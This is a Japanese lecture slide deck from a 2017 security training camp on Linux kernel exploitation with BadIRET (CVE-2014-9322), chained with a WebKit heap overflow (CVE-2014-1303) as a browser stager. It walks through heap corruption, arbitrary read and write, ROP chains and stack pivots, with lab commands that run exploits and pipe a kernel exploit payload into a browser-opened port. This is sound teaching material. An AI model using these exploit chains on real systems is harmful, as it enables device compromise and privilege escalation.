Slide 1

Slide 1 text

カーネルエクスプロイトによる システム権限奪取 神戸大学大学院 木村 廉 セキュリティキャンプ全国大会 2017 Dトラック(D2-3)

Slide 2

Slide 2 text

講義概要 本講義ではOS自体の脆弱性を利用することでより高いシステム権限を奪う、 カーネルエクスプロイト について学習します。 加えてブラウザの脆弱性に対する攻撃を併用する事で、ユーザーからの入力が極度に制限された 環境においても、カーネルエクスプロイトを成功させるテクニックについて学習します。 ※本講義は端末の脱獄、root化を推進するものではありません。

Slide 3

Slide 3 text

事前準備 ● VM内のレポジトリを最新状態に更新しておいてください $ git clone https://github.com/RKX1209/CVE-2014-9322 badiret $ cd ~/webkitexp $ git pull ● ゲストOS間でネットワーク構築 http://linux2.g.hatena.ne.jp/lnznt/20120131/1328021979

Slide 4

Slide 4 text

事前準備 ● 講義用VMの動作確認 Debuggerがデバッグする側のVM。Debuggeeがされる側です。 2つVMを起動してDebuggerからgdbを起動し $ target remote /dev/ttyS0 でアタッチ。Debuggee側で $ echo ‘g’ > /proc/sysrq-trigger をするとgdb側に制御が移ります。 (面倒な人はkgdbwaitを付けもらっても大丈夫です。)

Slide 5

Slide 5 text

背景知識 Intel x64アーキテクチャ、カーネル、エクスプロイトテクニック

Slide 6

Slide 6 text

Intel x64メモリアーキテクチャ ● x86(64)ではメモリは以下の3種類のアドレスで表される ○ 論理アドレス(Logical Address) ○ リニアアドレス(Linear Address) ○ 物理アドレス(Physical Address) ● メモリへのアクセスは2段階の変換を経て行われる ○ セグメント機構(論理->リニアへの変換) ○ ページング機構(リニア->物理への変換) ○ 最終的に物理アドレスで実際のメモリへアクセス セグメント機構 (Segment Unit) 論理アドレス (Logical Address) ページング機構 (Pagning Unit) リニアアドレス (Linear Address) 物理アドレス (Physical Address)

Slide 7

Slide 7 text

Intel x64セグメント機構 ● セグメントレジスタの種類 ○ コードセグメント(CS) %rip == 0x40000 ⇔ %rip == %cs:0x40000 ○ データセグメント(DS, ES, FS, GS) movq ($addr), %rcx ⇔ movq (%ds:$addr), %rcx ○ スタックセグメント(SS) movq (%rsp), %rax ⇔ moq (%ss:%rsp), %rax ● 論理アドレスからリニアアドレスへの変換 ○ セグメントレジスタの値 (セグメントセレクタ)を使って、GDTからセグメントディスクリプタ を参照 ○ セグメントディスクリプタの base_address+address = リニアアドレス セグメント機構 (Segment Unit) 論理アドレス (Logical Address) ページング機構 (Pagning Unit) リニアアドレス (Linear Address) 物理アドレス (Physical Address)

Slide 8

Slide 8 text

Intel x64セグメント機構 1. 現在のプログラムカウンタ が%rip==0x1000(%cs:0x1000)とする。 2. CSレジスタの値は0x08 3. GDTのオフセット0x08のセグメントディスクリプタを見る 4. セグメントディスクリプタ->base_addressが0x500とする 5. 0x500 + 0x1000 = 0x1500がリニアアドレス 同じ0x1000番地へのアクセスでも、裏に隠れたCSレジスタの 値によって実際にアクセスされるリニアアドレスは変わる。 この仕組みでセグメントという区切りをリニアアドレス空間上 に実現。 http://softwaretechnique.jp/OS_Development/kernel_loader2.html

Slide 9

Slide 9 text

Intel x64セグメント機構(Linux) Linuxカーネルではメモリ空間の分離は主にページング機構 を利用するため、セグメント機構はほぼ使わない。 CS,DS,SSは全て同じセグメントのアドレスを指している。 論理アドレス == リニアドレスとなる基本フラットモデルという 方式。 https://www.ibm.com/developerworks/jp/linux/library/l-memmod/index.html#b2 ただしGSレジスタはPER_CPUというCPUの各コアごとに確 保されたメモリ領域の参照につかわれる。 MSR_GS_BASE等のMSR(Model Specific Register)を利 用

Slide 10

Slide 10 text

Intel x64 リングプロテクション セグメントごとにアクセス権限を設定できる。 カーネルにしかアクセスできないセグメントを作成してユーザー空間 と分離する。 カーネルモード (ring 0) ユーザーモード (ring 3) (高) ring 0 > 1 > 2 > 3 (低) https://en.wikipedia.org/wiki/Protection_ring セグメント ベース エンド 権限(DPL) USER_CS 0x00000 0xffffff... ring 3 USER_DS 0x00000 0xffffff... ring 3 KERNEL_CS 0x00000 0xffffff... ring 0 KERNEL_DS 0x00000 0xffffff... ring 0

Slide 11

Slide 11 text

Linuxカーネルにおけるセグメント切り替え ● ユーザー空間(ring 3)とカーネル空間(rint 0)の切り替えタイミング ○ 割り込み ○ 例外(システムコールなど ) ○ その他... USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) Back to user(iretq) システムコール発行等のイベントが発生すると、CS,DSレジスタの 指すセグメントがカーネル空間の物に切り替わる。 カーネルの処理が終われば再びユーザー空間へ戻る。

Slide 12

Slide 12 text

Linuxカーネルを対象としたエクスプロイト ● カーネル内の処理に脆弱性があれば攻撃対象に ○ カーネル内のUAF(Use After Free) ○ カーネルスタックバッファオーバーフロー ○ ヒープバッファオーバーフロー ... USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) カーネル内の処理に脆弱性があり、攻撃者が内部の制御を コントロールできれば、ring0の権限のまま任意コード実行も可能。 ring0はほぼ全てのリソースへのアクセスが可能なため、 あるプロセスにroot権限を付与する等も簡単にできる。 KERNEL_CS, KERNEL_DS do EVIL things… KERNEL_CS, KERNEL_DS shellcode

Slide 13

Slide 13 text

カーネルエクスプロイト実践 BadIRET(CVE-2014-9322)によるシステム妨害(DoS)

Slide 14

Slide 14 text

BadIRET (CVE-2014-9322) ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ○ x64ではiretq実行完了前に#SS例外が発生 ○ Linuxカーネル内のこの#SS例外処理にバグ ○ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) Back to user(iretq)

Slide 15

Slide 15 text

BadIRET (CVE-2014-9322) ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ○ iretq実行時、切り替え先の ユーザー空間SSが不正な値の場合に発生 ○ x64ではiretq実行完了前に#SS例外が発生 ○ Linuxカーネル内のこの#SS例外処理にバグ ○ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) Back to user(iretq) %SS=invalid (#SS)

Slide 16

Slide 16 text

BadIRET (CVE-2014-9322) ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ○ x64ではiretq実行完了前に#SS例外が発生 ○ Linuxカーネル内のこの#SS例外処理にバグ ○ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs

Slide 17

Slide 17 text

BadIRET (CVE-2014-9322) ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ○ x64ではiretq実行完了前に#SS例外が発生 ○ Linuxカーネル内のこの#SS例外処理にバグ ○ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ ジスタをswapする命令。

Slide 18

Slide 18 text

BadIRET (CVE-2014-9322) ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ○ x64ではiretq実行完了前に#SS例外が発生 ○ Linuxカーネル内のこの#SS例外処理にバグ ○ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ ジスタをswapする命令。 GS=USER_GS [BUG] (GS != KERNEL_GS)

Slide 19

Slide 19 text

BadIRET (CVE-2014-9322) ● Linuxカーネルのiret命令によるカーネル->ユーザー切り替え処理に脆弱性 ○ iretq実行時、切り替え先のユーザー空間 SSが不正な値の場合に発生 ○ x64ではiretq実行完了前に#SS例外が発生 ○ Linuxカーネル内のこの#SS例外処理にバグ ○ swapgsが1度余計に実行される USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs swapgs命令はユーザー空間のGSレジスタとカーネル空間のGSレ ジスタをswapする命令。 Kernel Panic!

Slide 20

Slide 20 text

演習1 カーネルエクスプロイト ● BadIRETでカーネルクラッシュを引き起こす $ cd ~/badiret $ make clean (初回のみ) $ make $ ./badiret.elf

Slide 21

Slide 21 text

演習1 カーネルエクスプロイト ● netconsoleでクラッシュ確認

Slide 22

Slide 22 text

演習1 カーネルエクスプロイト ● ユーザー空間のGSセグメントを設定してみる arch_prctl(2)のARCH_SEG_GSを使うとGSレジスタを変更できる。 arch_prctl(ARCH_SET_GS, 0xdeadbeefcafebabe) https://github.com/RKX1209/CVE-2014-9322 ● システムコール番号の探し方 $ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_execve 59

Slide 23

Slide 23 text

演習1 カーネルエクスプロイト ● うまくいけばnetconsoleで以下のようなクラッシュが確認できる

Slide 24

Slide 24 text

ブラウザエクスプロイト実践 Kernel Exploit Stagerとしてのブラウザ。CVE-2014-1303

Slide 25

Slide 25 text

Kernel Exploit Stager ● ブラウザをカーネルエクスプロイトへつなげるためのstagerとして利用 ○ エクスプロイトをシステムへインストールする手段が無い場合に利用 (ex. ゲーム機) ○ 細工されたwebページにアクセスする事でブラウザ上で任意コード実行 ○ ネットワーク越しにエクスプロイトコードを待ち受けて実行する (いわゆるstager) ○ 攻撃者はカーネルエクスプロイトを送信し実行させる クライアントマシン (攻撃者) ブラウザ (stager) (4)受信したコードを実行 (3) カーネルエクスプロイトコードを送信 細工されたWebページ (ブラウザエクスプロイト ) (1) ページ閲覧 (2) ブラウザ上で任意コード実行

Slide 26

Slide 26 text

WebKit Exploit(CVE-2014-1303) ● WebKitヒープバッファオーバーフローの脆弱性 ○ CSSSelectorListというリストが範囲外読み込み (OOB Read)を行うバグ ○ RuleSet::AddRule()が呼ばれるて、リストにアクセスされる時 indexが1になっている ○ indexは1だが、実際にCSSSelectorListの要素数は1つのみ ○ 存在しないList[1]から読み込みを行ってしまう ● 1-bitの範囲外書き込み(OOB Write)も可能 ○ WebCore::CSSSelector::specify()が、List[1]のあるメンバを1に変える処理を行う ○ つまり1-bitの1を範囲外に書き込む事が可能 ○ ArrayBuffer::m_sizeInBytesを0x40から0xC0に書き換える。

Slide 27

Slide 27 text

CSSSelectorList OOB Read CSSSelectorは1つしか存在しないにも関わらずindex=1で読み込み。 CSSSelector 0x20 Chunk: Free Free Free Free

Slide 28

Slide 28 text

CSSSelectorList OOB Read CSSSelectorは1つしか存在しないにも関わらずindex=1で読み込み。 CSSSelector 0x20 Chunk: CSSSelector Free Free Free List[0] List[1]

Slide 29

Slide 29 text

CSSSelectorList OOB Write List[1]のあるメンバに1を書き込む処理によって1-bitのみOOB Write CSSSelector 0x20 Chunk: CSSSelector Free Free Free List[0] List[1]::member = 1

Slide 30

Slide 30 text

CSSSelectorList OOB Write 0x40サイズのArrayBufferを複数確保(new) CSSSelector 0x20 Chunk: List[0] 0x20 ArrayBuffer new ArrayBuffer(0x40); ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer

Slide 31

Slide 31 text

1-bit OOB Writeによるm_sizeInByteの書き換え ArrayBufferのサイズは0x40で、bufferの実体は0x40chunkに存在 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer::m_sizeInByte == 0x40

Slide 32

Slide 32 text

1-bit OOB Writeによるm_sizeInByteの書き換え List[1]::member=1の書き込みで、ArrayBuffer->m_sizeInByteが0x40->0xC0に。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer->m_sizeInByte = 0xC0 (1-bit write) ⇔ List[1]::member = 1 オーバーフロー発生。余分に 0x80byte(0xC0-0x40)読み書き可能に

Slide 33

Slide 33 text

0x80byteの読み書き 0x80byte余分に読み書き可能。ここで隣のWebCoreObjectに含まれるvtableを読む CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer->m_sizeInByte = 0xC0 (1-bit write) vtableはC++のクラスが持つ仮想関数用テーブル。メソッドへの関数ポインタを持っている。 WebCoreObject->vtable

Slide 34

Slide 34 text

任意アドレス書き込み/読み込み AAW/AAR ● 0x80byteの読み書きからAAW/AARにつなげる ○ WebCoreObjectはvtableのアドレスをリークすれば不要 ○ リーク後、WebCoreObjectはfreeして同じ場所にArrayBufferViewをnewで確保 ○ ArrayBufferView::m_baseAddress を0x80byte書きこみを使って変更し AAW/AARへ ● WebCore objectをfreeさせる? ○ JavaScriptは明示的にメモリを開放する freeのようなインターフェースは無い (GCが使われる) ○ WebCore::NumberInputTypeは以下のコードを実行するとブラウザが freeしてくれる。

Slide 35

Slide 35 text

任意アドレス書き込み/読み込み AAW/AAR WebCore::NumberInputを確保 ( var m_input = document.createElement(“input”); ) CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 NumberInput ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: WebCore::NumberInput生成

Slide 36

Slide 36 text

任意アドレス書き込み/読み込み AAW/AAR WebCore::NumberInputをfreeさせる( m_input.type=””; ) CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data Freed ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: WebCore::NumberInputをFree

Slide 37

Slide 37 text

任意アドレス書き込み/読み込み AAW/AAR 直後にArrayBufferViewをnewで確保する。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBufferViewを生成。

Slide 38

Slide 38 text

任意アドレス書き込み/読み込み AAW/AAR 攻撃者がコントロール可能な広めの領域(0x20000 chunk)を確保 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk:

Slide 39

Slide 39 text

任意アドレス書き込み/読み込み AAW/AAR ArrayBufferView::m_baseAddressを0x80byte書きこみで書き換え CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: ArrayBufferView::m_baseAddressを修正

Slide 40

Slide 40 text

任意アドレス書き込み/読み込み AAW/AAR ArrayBufferView::m_baseAddressが0x20000 chunkを指すように書き換え CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: この0x20000 chunk領域に攻撃者が好きなコード(shellcode, gadget…)を書き込む

Slide 41

Slide 41 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack

Slide 42

Slide 42 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096

Slide 43

Slide 43 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000

Slide 44

Slide 44 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000 rdi = 0

Slide 45

Slide 45 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000 rdi = 0 rax = 0

Slide 46

Slide 46 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack rdx = 4096 rsi = 0x691c000 rdi = 0 rax = 0 syscall read(0, 0x691c000, 4096)

Slide 47

Slide 47 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack 0x6001e4c: xchg rax, rsp ret (uncontrollable) own stack address

Slide 48

Slide 48 text

AAW/AARから任意コード実行へ ● Return Oriented Programming (ROP) ○ エクスプロイトの一般的なテクニック ○ NX-bitなどのコード実行防止機能の bypass ○ 関数のコールスタックを調整して意図した動作へ 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 0x62f10bd0 0x0 0x6711f000 0x68ea123b: pop rdx (arg3) ret 0x63af9c00: pop rsi (arg2) ret 0x6100a74f: pop rdi (arg1) ret 0x62f10bd0: pop rax (syscall num) ret 0x6711f000: syscall ret Stack 0x6001e4c: xchg rax, rsp ret (uncontrollable) own stack address rsp = (own stack address)

Slide 49

Slide 49 text

AAW/AARから任意コード実行へ 0x20000 chunkにROP gadgetのアドレスを書き込んでおく。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0

Slide 50

Slide 50 text

AAW/AARから任意コード実行へ vtableのアドレスをstack pivot用のgadgetへ。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 vtable push rax (== vtable) jmp rax pop rsp

Slide 51

Slide 51 text

AAW/AARから任意コード実行へ rspにrax(== buf)が設定されてスタックが切り替わりROP開始。 CSSSelector 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 ArrayBuffer 0x20 Chunk: ArrayBuffer:: m_data 0x40 ArrayBufferView ArrayBuffer:: m_data 0x40 WebCoreObject ArrayBuffer:: m_data 0x40 Chunk: ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data ArrayBuffer:: m_data 0x20000 Chunk: 0x68ea123b 4096 0x63af9c00 0x691c000 0x6100a74f 0x0 vtable push rax (== vtable) jmp rax pop rsp $rsp ->

Slide 52

Slide 52 text

演習2 ブラウザエクスプロイト ● エクスプロイトページへWebKitGTKで接続 $ cd ~/webkitexp $ sudo python server.py $ cd ~/webkitgtk-2.1.2 $ ./Programs/GtkLauncher http://localhost https://github.com/RKX1209/CVE-2014-1303

Slide 53

Slide 53 text

演習2 ブラウザエクスプロイト ● エクスプロイトコードを実行してみる ○ Crash ROP (0xdeadbeefにジャンプしてクラッシュ ) ○ Get PID (getpidで取得したPIDを出力) ○ FileSystem Dump (演習で実装) ○ Code Execution (ペイロードをポート9023で待ち受けて実行)

Slide 54

Slide 54 text

演習2 ブラウザエクスプロイト ● ファイルシステムダンプ機能を実装 (webkitexp/scripts/syscall.js) fd = open(“/dev”, 0); getdents(fd, buf, 4096); write(0, buf, 4096); を実行させる。 /dev以下のディレクトリをダンプさせる機能を実装。

Slide 55

Slide 55 text

演習2 ブラウザエクスプロイト ● ファイルシステムダンプ機能を実装 (webkitexp/scripts/syscall.js) rop_chain ROP chain inject_ropcode(rop_chain) ROP chain注入 write_str(addrl, addrh, str) addrに文字列strを書き込む syscall(“name”, sys_num, arg1, arg2..) システムコール実行 chainをrop_chainに追加 rawdump(addr, size) addrからsizeバイト標準出力にダンプ webkit_gtk_base_addr_(low|high) libwebkitgtk.soのベースアドレス js_core_base_addr_(low|high) libjavascriptcoregtk.soのベースアドレス ヘルパー関数,変数の説明 (詳細は exploit.html, scripts/roputil.jsを参照)

Slide 56

Slide 56 text

演習2 ブラウザエクスプロイト ● ブラウザのROP gadgetの探し方 $ rp-lin-x64 --file=./.libs/libwebkitgtk-3.0.so --rop=3 --unique webkit_gtk_base_addrからのオフセット表示 $ rp-lin-x64 --file=./.libs/libjavascriptcoregtk-3.0.so --rop=3 --unique js_core_base_addrからのオフセット表示 ● システムコール番号の探し方(再掲) $ grep execve /usr/include/x86_64-linux-gnu/asm/unistd_64.h #define __NR_execve 59

Slide 57

Slide 57 text

演習2 ブラウザエクスプロイト ● ハマりポイント getdentsシステムコールでは”/dev”をopenしたfdを引数にとりますが、こ れをsyscallヘルパー関数を使って、 syscall(“getdetns”, fd, buf, size) とはできません。syscallヘルパー関数に与えられる引数はROP注入前 に静的に決まっている値のみです。(fdはopen実行まで値が決まらない) なので、getdents呼び出しに関しては自力で引数構築からsyscall命令 実行まで行うROP chainを作る必要があります。

Slide 58

Slide 58 text

演習2 ブラウザエクスプロイト ● ハマりポイント(ヒント) rax: syscall番号, rdi: 第1引数, rsi: 第2引数, rdx: 第3引数 openやwriteはヘルパー関数が使えます。 sycall(“open”, nr_open, ….) rawdump(addr, size) openの返り値(rax)がfd。これをgetdentsの第1引数(rdi)に渡してやる には? どんなROP gadgetが使えるでしょうか。

Slide 59

Slide 59 text

演習3 ブラウザエクスプロイト+カーネルエクスプロイト ● ブラウザのRemote Code Executionでカーネルをクラッシュさせる まずCode Executionをクリック。netstatでポートが開いているか確認。 $ netstat -tl tcp 0 0 *:9023 *:* LISTEN badiret.binをポートに送信してブラウザに実行させる $ cat badiret.bin | nc localhost 9023 うまくいけばカーネルクラッシュ。

Slide 60

Slide 60 text

カーネルエクスプロイト実践 BadIRET(CVE-2014-9322)による権限昇格

Slide 61

Slide 61 text

BadIRET (CVE-2014-9322) swapgs後に実行されるカーネル内の処理に注目 USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs

Slide 62

Slide 62 text

BadIRET (CVE-2014-9322) swapgs後に実行されるカーネル内の処理に注目 USER_CS, USER_DS len = read (fd, buf, size); KERNEL_CS, KERNEL_DS sys_read (fd, buf, size); USER_CS, USER_DS if (len == 0) { …. ユーザー空間(ring 3) カーネル空間(ring 0) System call 0(read) swapgs 290 void do_general_protection(struct pt_regs *regs, long error_code) 291 { 292 struct task_struct *tsk; ... 306 tsk = current; ==> mov %gs:0xc780,%rbx 319 tsk->thread.error_code = error_code; 320 tsk->thread.trap_nr = X86_TRAP_GP;

Slide 63

Slide 63 text

BadIRET (CVE-2014-9322) ● GSレジスタを使用したデータアクセス処理 ○ iret実行時#SS例外が発生するとbad_iretラベルへ飛ぶ(double fault発生) ○ swapgsが実行され、%gsにユーザー空間のGSレジスタ値が設定される。 ○ do_general_protectionが実行される。 ○ この中で”current”としてアクセスされるデータ構造に注目 ○ “current”マクロは%gs:offsetでアクセスされる(ここを調整可能) 290 void do_general_protection(struct pt_regs *regs, long error_code) 291 { 292 struct task_struct *tsk; ... 306 tsk = current; ==> mov %gs:0xc780,%rbx 319 tsk->thread.error_code = error_code; 320 tsk->thread.trap_nr = X86_TRAP_GP;

Slide 64

Slide 64 text

BadIRET (CVE-2014-9322) ● currentを通してアクセスされるデータ構造 ○ do_general_protectionから呼ばれるforce_sig_info関数に注目 int force_sig_info(int sig, struct siginfo *info, struct task_struct *t) { struct k_sigaction *action; … action = &t->sighand->action[sig-1]; action->sa.sa_handler = SIG_DFL; // SIG_DFL == 0 ... } ● current->sighand->action[sig-1]->sa.sa_handler = 0 ○ currentのシグナルハンドラ関係のデータ構造に SIG_DFL(0)を設定する処理 ○ current(%gs:offset)のアドレスを攻撃者が用意した ダミーのsighandに向ける ○ ダミーのsighand->action->saを任意アドレスに設定し 0を書き込める

Slide 65

Slide 65 text

